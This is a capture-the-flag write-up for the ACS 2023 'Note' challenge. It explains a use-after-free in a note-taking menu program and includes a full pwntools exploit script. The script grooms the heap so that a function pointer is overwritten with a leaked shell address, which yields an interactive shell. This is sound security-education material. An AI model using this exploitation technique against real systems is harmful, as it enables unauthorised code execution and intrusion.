Note [Code Audit]
Dangling reference leading to Use-After-Free (UAF). Second code audit challenge for ACS 2023 finals.
Challenge Description
I often write in my diary…
(Challenge connects over nc
)
Studying the code
This program is yet another menu program with the following commands:
- Write a note: Creates a note in an array at a specified index.
- Rewrite a note: Rewrites a note at an index. Resizes if the note becomes larger.
- Read a note: Prints the contents of a note and runs its
emoji
function. - Erase a note: Frees the pointers in the note and of the note.
- Exit
Immediately, I noticed that erasing a note doesn’t actually clears the contents in the array.
void _erase(int idx)
{
if (note[idx] == 0)
{
printf("[*] empty page\n");
return;
}
note[idx]->emoj = 0;
printf("[!] erase note %d @ %p\n", idx, note[idx]);
free(note[idx]->script);
free(note[idx]);
printf("Erase Success\n\n");
}
Therefore, after we erase a note, we can still technically read it from the array as if it were still a note. This leads to a classic UAF.
Solution
The solution requires a little knowledge about how free
works in C. There’s a really good article on this so I’ll skip the details.
In short, when we free a piece of memory of a certain size, the next time we malloc()
for that size, the heap manager will reuse that chunk to save time (unless a reconsolidation happens. Read article above for this). The freed chunks are stored in a free list, which is a linked list of freed chunks (LIFO).
Our goal is to free a note (16 bytes), and create a new note such that its script
field is allocated to the freed note’s chunk.
The solution is to create 2 notes of script length 16 bytes and »16 bytes respectively. By freeing them both in order, and creating a new note of script length 16 bytes, we will achieve our goal. Let’s see why.
Suppose we have already created our 2 notes as described above.
free index 1
+---------+ +-----------------+
16-byte free list HEAD --> | note[0] | --> | note[0]->script |
+---------+ +-----------------+
free index 2
+---------+ +---------+ +-----------------+
16-byte free list HEAD --> | note[1] | --> | note[0] | --> | note[0]->script |
+---------+ +---------+ +-----------------+
+-----------------+
X-byte free list HEAD --> | note[1]->script |
+-----------------+
So, when we create note[2]
with a 16-byte script, the following will hold
note[2] == note[1]
note[2]->script == note[0]
due to the malloc()
order. And we just have to write the shell
function’s address to the last 8 bytes into note[2]->script
, read note[0]
, and we get shell.
Final Script
from pwn import *
DEBUG = True
if DEBUG:
context.log_level = 'DEBUG'
conn = process("./note") if DEBUG else remote("192.168.0.52", 40000)
def write(index, script):
conn.recvuntil(b">>> ")
conn.sendline(b"1")
conn.recvuntil(b": ")
conn.sendline(str(index).encode())
conn.recvuntil(b": ")
conn.sendline(script)
conn.recvuntil(b">>> ")
conn.sendline(b"1") # emoji
def read(index):
conn.recvuntil(b">>> ")
conn.sendline(b"3")
conn.recvuntil(b": ")
conn.sendline(str(index).encode()) # index
def erase(index):
conn.recvuntil(b">>> ")
conn.sendline(b"4")
conn.recvuntil(b": ")
conn.sendline(str(index).encode()) # index
conn.recvuntil(b": ")
shell = int(conn.recvline(keepends=False).decode(), 16)
shell = shell.to_bytes(8, 'little')
assert(len(shell) == 8)
### Exploit
write(1, b"A" * 0x10)
write(2, b"A" * 0x30)
erase(1)
erase(2)
write(3, b"A" * 8 + shell)
read(1)
conn.interactive()
exit()